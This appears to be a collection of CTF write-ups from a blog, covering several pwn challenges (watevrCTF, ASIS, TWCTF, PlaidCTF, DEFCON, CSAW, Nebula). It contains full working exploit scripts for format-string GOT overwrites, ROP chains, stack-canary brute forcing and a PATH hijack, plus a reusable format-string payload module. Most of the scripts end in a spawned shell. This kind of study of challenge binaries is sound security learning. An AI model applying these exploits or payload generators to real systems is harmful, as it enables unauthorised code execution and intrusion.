Voting Machine 2 (watevrCTF 2019)

Bianry had a format string vulnerability as first argument of printf was controlled by user.

Idea to solve the challenge:

[*] Overwrite the GOT of puts with ‘0x08420736’ (method that prints flag). if you are not sure what is GOT and how it works i recommend you to read this writeup. The reason for choosing GOT of puts is becuase it is been invoked more than once before printf.

Here is the exploit for the challenge.

from pwn import *

get_got = 0x8422020

writes = {0x08422020:0x08420736}

payload = 'AA'
payload += fmtstr_payload(8, writes, numbwritten=2)

p = remote("13.53.125.206", 50000)
p.recvuntil("Topic: ")
p.sendline(payload)
p.interactive()

The flag is – watevr{GOT_som3_fl4g_for_you_https://www.youtube.com/watch?v=hYeFcSq7Mxg}  

Module in Python for automating “Format String Vulnerability”

I have written small module in python where we can automate the “format string vulnerability”.

Most of the time when i find format string vulnerability binaries in CTF’s i kept on doing the small scripting part again and again, so i have decided to write a module that keeps the work simple.

import struct
def p32(val):
    return str(struct.pack("<I", val))

def makepayload(leak, addr, offset):
    upper = int((leak)[2:6],16)
    lower = int((leak)[6:10],16)

    if (upper <= lower):
        payload = p32(addr + 2)+p32(addr)+"%"+str(upper-8) +"x%"+ offset + "$hn"+"%"+str(abs(lower-upper))+ "x%" + str(int(offset) + 1) + "$hn"

    else:
        payload = p32(addr)+p32(addr + 2)+"%"+str(lower-8) +"x%" + offset +"$hn"+"%"+str(abs(upper-lower))+"x%" + str(int(offset) + 1) +"$hn"

    return payload

You can just import this and attack the binary, any ways i will try to demonstrate using small example.

#include 

int data;

int main(int argc, char **argv){

  data = 0;
  if(argc != 2){
    printf("Enter argument\n");
    return 0;
  }
  char buf[100];
  strncpy(buf, argv[1],100);
  printf(buf);

  if(data == 0)
    printf("Data not changed\n");
  else
    printf("Data changed!!!\n");
  return 0;
}

In this binary i am just aiming to change the value of global variable data using the vulnerable “printf”.

➜  module ./try $(python -c 'print "A"*4 + "-%x"*10')
AAAA-ffdef99e-64-ffdef0a4-41414141-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78Data not changed

So here i can read stack and could read the input AAAA at 4th position and using gdb i can found out the address of data.

Here is the exploit.

import format
          
payload = format.makepayload('0x00000100', 0x0804a030,      '4')
                              value     address of data    offset  
print payload

Here is the output

 ➜  module python exploit.py 
2�0�%-8x%4$hn%256x%5$hn
➜  module ./try $(python exploit.py)
2�0�ffdee9a5                                                                                                                                                                                                                                                              64Data changed!!!

ASISCTF-Finals2016(Diapers Simulator)-pwn

This challenge worked for me locally and i got remote shell also but i couldn’t intract with the server for which i don’t the reason, if any one of you finds it please comment to this blog.

Coming to challenge it was a indirect format string vulnerability where you are supposed to get control over the string that is not under our control. 1

Here the brand name is ended with a null byte hence we cannot overflow to the buffer that is passed as argument to printf. But here calling “Change Diapers” decrement integer by -1, hence calling 257 times will make it 0xffffffff. Hence  by doing this we can remove the NULL pointer and overflow into buffer and control the first argument to printf. So using format string vulnerability we can GOT of strlen with system and calling “change brand”  with strlen and spwan a shell. Here is the exploit for the challenge

from pwn import *
strlen = 0x804b028
#p=remote("diapers.asis-ctf.ir",1343)
p=process("diapers")
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
for x in range(0,257):
       p.sendline("1")
       p.recvuntil("> ")
p.sendline("0")
p.recvuntil(": ")
payload=fit({15:"%x-%x-"},filler="A",length=108)
p.sendline(payload)
p.recvuntil("> ")
p.sendline("2")
p.recvuntil(":\n")
p.recvuntil("-")
system=int(p.recvuntil("-").strip("-"),16)-0x15dc9
upper=int(hex(system)[2:6],16)
lower=int(hex(system)[6:10],16)
p.sendline("0")
p.recvuntil(": ")
if upper <= lower:         
  payload=fit({0:"sh\x00",15:p32(strlen+2)+p32(strlen)+"%"+str(upper-8)
+"x%18$hn"+"%"+str(abs(lower-upper))+ "x%19$hn" },length=108) 
else : 
  payload=fit({0:"sh\x00",15:p32(strlen)+p32(strlen+2)+"%"+str(lower-8)
+"x%18$hn"+"%"+str(abs(upper-lower))+"x%19$hn" },length=108) 
p.sendline(payload) 
print p.recvuntil("> ")
p.sendline("2")
print p.recvuntil("> ")
p.sendline("0")
p.interactive()

Tokyo Westerns/MMA CTF 2nd 2016 – greeting-150(pwn)

➜  greeting file greeting
greeting: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), 
dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, 
not stripped

checksec: greeting
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

The binary simply asks for our name and then echoes it back, but while printing it back it uses a single augmented printf i.e name, which leads to “format string vulnerability”. After looking at it, i just though of overwriting GOT of any function that is called after printf, but after little of reversing i got know that there was function that is called.

Then i though of overwriting DTOR but i guess they were hard-coded, so that was also that possible and wasted lot of my thinking of other things. Finally this link helped me to think about .fini_array session. As this binary has NX enabled to cannot execute shell code. So i tired overwriting GOT of printf function which will help to spawn a shell in the next call of the main function but that didn’t work.  Finally i was searching for the functions whose argument was under our control and finally found “strlen” in getline function.

 So idea behind solving this problem is:

-> overwriting .fini_array with main function.
-> overwriting GOT of strlen with "system".
-> overwriting fini and GOT must be done in a single shot i.e in the first call of main 
-> giving input as "sh" in the second call of main function. 

Exploit code for the exploiting the binary:

from pwn import *

main = 0x080485ed
fini = 0x08049934
system = 0x08048490
strlen = 0x8049a54
p = remote('pwn2.chal.ctf.westerns.tokyo',16317)

exploit = 'AA'
exploit += pack(0x08049936)
exploit += pack(0x08049a56)
exploit += pack(0x08049a54)
exploit += pack(0x08049934)

first = 0x804 - 0x1c - 0x8 #print 0x804 bytes before 0x8049936 
second = 0x8490 - 0x0804
third = 0x85ed - 0x8490
exploit += '%' + str(first) +  'x%12$hn'
exploit += '%13$hn'
exploit += '%' + str(second) + 'x%14$hn'
exploit += '%' + str(third) + 'x%15$hn'
exploit += ""

print p.recvuntil('... ')
p.sendline(exploit)
print p.recvuntil('... ')
p.sendline("sh")
p.interactive()
#TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}

Running this exploit code will spawn a shell 🙂

Ropasaurusrex (plaidctf-2014)

This is one of the best binary problem that i have solved. This problem i have solved 1 year back but i forgot to update.

This problem is completely based on ASLR bypassing, where we are supposed to overwrite GOT table.

As many writeup’s are there to explain this same problem i am not planning to give the entire description of the exploit.

from pwn import *

# Run the file (cat inp /dev/stdin)|./ropasaurusrex as the childprocess is being spawned

#got_libc_start_main = 0x8049618

#__libc_start_main = 0xf7e22990
#system = 0xf7e49190

#0x080484b5: pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
#0x080483bb: xchg eax, esi ; add al, 0x08 ; add dword [ebx+0x5D5B04C4], eax ; ret  ;  (1 found)

#value to ebx :aaa99154

#address of "sh" : 0x804867f

payload = ''

payload += "A"*140 #offset to reach eip
payload += p32(0x080484b5)
payload += p32(0xaaa99154)
payload += p32(0x268f8)
payload += p32(0xdeedbeef)
payload += p32(0xcafebabe)
payload += p32(0x080483bb)
payload += p32(0x0804835c)
payload += p32(0x0804867f)

print payload

 

feedme (DefconCTF-2016)

In this challenge a 32-bit huge statically liked executable was given. The checksec result of that binary is

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   feedme

NX was enabled but there was no PIE and RPATH. And after executing and little debugging of the file, i found that a parent process generates child process.

The problem works like this, once the binary is been executed the parent process launches child process and after giving the input, again it generates the child process and that happens in a loop and number of bytes of input depends upon on the first byte. For suppose if we input A then we can input only 64 bytes of data.

After little more debugging i got to know that there was a canary and breaking that canary will give you control over instruction pointer.

[*]Brute-force canary first

[*]ROP chain to get the shell

So here is the exploit. Actually this problem is partially solved by all of us, so it was whole bi0s team effort

#!/usr/bin/env python


from pwn import *
import sys
import string


pop_eax = 0x080e243d
pop_ecx_pop_ebx = 0x0806f371
pop_edx = 0x0806f34a
mov_dword_edx_eax = 0x0809a7ed
int_0x80 = 0x0806fa20



def bruteForceCanary(p, offset, length):
    """ @jayakrishna, @rakesh """
    canary = "\x00" 
    for byte in xrange(1,length):
        for canary_byte in xrange(256):
	    hex_byte = chr(canary_byte)
            payload= str(chr(offset + len(canary) + 1)) + "A"*offset  + canary + hex_byte
	    print (canary + hex_byte).encode("hex")			
	    p.send(payload)
	    p.recvuntil("...")
	    p.recvline()
	    if p.recvline().find("YUM") > -1:
	        canary += hex_byte
		break
    return canary




def generateROPChain():
    """ @akshay """
    rop  = p32(pop_edx)
    rop += p32(0x080ea000)
    rop += p32(pop_eax)
    rop += "/bin"
    rop += p32(mov_dword_edx_eax)

    rop += p32(pop_edx)
    rop += p32(0x080ea004)
    rop += p32(pop_eax)
    rop += "/sh\0"
    rop += p32(mov_dword_edx_eax)

    rop += p32(pop_edx)
    rop += p32(0x080ea008) # double pointer
    rop += p32(pop_eax)
    rop += p32(0x080ea000)
    rop += p32(mov_dword_edx_eax)

    rop += p32(pop_edx)
    rop += p32(0x080ea00c)
    rop += p32(pop_eax)
    rop += p32(0)          # char** terminator
    rop += p32(mov_dword_edx_eax)

    rop += p32(pop_ecx_pop_ebx)
    rop += p32(0x080ea008)
    rop += p32(0x080ea000)
    rop += p32(pop_edx)
    rop += p32(0x080ea00c)

    rop += p32(pop_eax)
    rop += p32(0xb)
    rop += p32(int_0x80)
    return rop
	

def main():
    target = "feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me"
    port = 4092
    context.bits = 32
    if "local" in sys.argv:
        target = "0.0.0.0"
        port = 1234

    offset_after_canary = 12
    p = remote(target,port)
    payload=str(chr(37)) # placeholder
    payload+= string.ascii_uppercase + "a"*(32-26)
    payload+= bruteForceCanary(p, 32,4)
    payload += "A"*offset_after_canary
    payload += generateROPChain()


    if len(payload) > 255:
        print "\n\nPayload cannot be greater than 255 bytes ", len(payload), "\n\n"
        sys.exit(0)


    payload = chr(len(payload)-1) + payload[1:]
    p.send(payload)
    p.interactive()


if __name__ == "__main__":
    main()

Cracking GOT using pointers

As in my previous blog i have specified how GOT is vulnerable, this is one of the case where you can exploit which is using pointers.

I have used the small program which directly explains the concept.

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
  char *pointer = NULL;
  char buffer[10];
  pointer = buffer;
  strcpy(pointer, argv[1]);
  printf("Array contains %s at %p\n", pointer, &pointer);
  strcpy(pointer, argv[2]);
  printf("Array contains %s at %p\nUse this as argument %s \n", pointer, &pointer,argv[3]);
  return EXIT_SUCCESS;
}

 

By just looking at the program you should understand the vulnerability, which the program is using “strcpy” to copy. So here is the idea of the to exploit the program.

[*] Using first strcpy overflow the array “buffer” and change the pointer to the GOT of printf.

pointer <– [GOT]

[*] Using the second “strcpy” overwrite the GOT with “system” function, which will spawn you shell at the time of calling second printf function.

[GOT]<– “address of system” (because same pointer is used in the strcpy)

[*] Also supply third argument as “;/bin/sh;” that will do “system(“Array contains %s at %p\nUse this as argument %s \n”, pointer, &pointer,argv[3]);”

I got this idea by looking at this resource. My blog may not be that great as that article but still i tried giving brief description about it.

CSAW QUALS 2015: contacts-250(format string vulnerability)

Few days back i got more interest in FORMAT STRING VULNERABILITY, so i decided to solve one good problem related.

This is problem that is from CSAW CTF 2015 which i couldn’t solve at the time of the CTF.

This problem is mainly a menu driven program where we can store our contacts and description. The main vulnerability in this challenge lies in “Display contacts”.

After adding our contacts, when we try to view our contacts list and description, the description is printed out using “printf(description)”.

So when we try leaking our stack using that vulnerability we can leak out some malicious information. There may be may ways to exploit the binary, but i have used two saved ebp’s that are leaked form printf to change my instruction pointer that would give me shell.

I could leak two saved ebp’s one at 6th and other at 18th position and one more advantage is that first saved ebp contained the value of other saved ebp i.e is 18th position . So using format string specifier changing the address of saved ebp would result in the change of in saved ebp.

[savedebp(6th position)] --> savedebp(18th position)

My idea to solve that challenge is to change the saved ebp and pivot the stack to data segment so that i have control over that segment.

The idea to overwrite the saved ebp, is through format string vulnerability. First we should leak the address of saved ebp and add 2 to that saved ebp and then using format string write it into the saved ebp that will result change other saved ebp.

So taking advantage of that we can write 4 bytes of the saved ebp and control over the instruction pointer. once overwriting the saved ebp  our stack would have been changed.

In my case i tried changing stack to data segment because i had control over that segment. I done my have chaining of return to libc in that segment.

“stack smashing detected” How it works??

Recently i was thinking about on how does the canary work in Linux Glibc. Later i started working on it with a small HelloWorld program which has canary enabled.

#include
int main(){
printf("Hello World\n");
return 0;
}

Complied it with Canary enabled.

gcc -m32 -fstack-protector-all hello.c -o hello

Looking at the disassembly part.

Dump of assembler code for function main:
1   0x0804846d <+0>:	push   ebp
2   0x0804846e <+1>:	mov    ebp,esp
3   0x08048470 <+3>:	and    esp,0xfffffff0
4   0x08048473 <+6>:	sub    esp,0x20
5   0x08048476 <+9>:	mov    eax,gs:0x14
6   0x0804847c <+15>:	mov    DWORD PTR [esp+0x1c],eax
7   0x08048480 <+19>:	xor    eax,eax
8   0x08048482 <+21>:	mov    DWORD PTR [esp],0x8048540
9   0x08048489 <+28>:	call   0x8048340 <puts@plt>
10  0x0804848e <+33>:	mov    eax,0x0
11  0x08048493 <+38>:	mov    edx,DWORD PTR [esp+0x1c]
12  0x08048497 <+42>:	xor    edx,DWORD PTR gs:0x14
13  0x0804849e <+49>:	je     0x80484a5 <main+56>
14  0x080484a0 <+51>:	call   0x8048330 <__stack_chk_fail@plt>
15  0x080484a5 <+56>:	leave  
16  0x080484a6 <+57>:	ret    

When you look at line 5 you could see that some value from global section is moved to $eax and in the next line it is pushed on to the stack. Which is some random value.

Than after the “print” operation there is check of canary value that can be seen in line 11, 12 in the case of same value it is moved to 15th line and then return the program normally. if not   “__stack_chk_fail@plt” library routine is beginning called through the PLT. Lets see what does that function contain.

#include 
#include 
 
extern char **__libc_argv attribute_hidden;
 
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

I found this source code form GNU C Library at debug/stack_chk_fail.c Even you can find it from this link

So this code simply calls __fortify_fail with argument “smash the stack”. In the same GNU library i also found fortify_fail.c

#include 
#include 
extern char **__libc_argv attribute_hidden;
void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
		    msg, __libc_argv[0] ?: "");
}
libc_hidden_def (__fortify_fail)

This program should make clear about the error message, in the case of canary value change.

Nebula-Exploit-Exercises-level01

This level deals with the Environmental variable “PATH”. By the code we understand that echo command is being executed in system. So let’s try modifying the environmental PATH.

level01@nebula:/home/flag01$export PATH=/tmp:$PATH

So in this it first looks in /tmp directory which we need. So here is main trick of the challenge. Let’s try make a symbolic link to /bin/bash with the dummy file in /tmp directory.

level01@nebula:/home/flag01$ ln -s /bin/bash /tmp/echo

This didn’t work because “and” “now” “what?” are passed as arguments to the echo in system. So i thought of approaching in different way.

I wrote a shell script that will ignore arguments calls the “bash shell”.

level01@nebula:/home/flag01$ echo -e '/bin/bash' > /tmp/echo
level01@nebula:/home/flag01$ chmod +x echo

And executed the file and that worked.. 🙂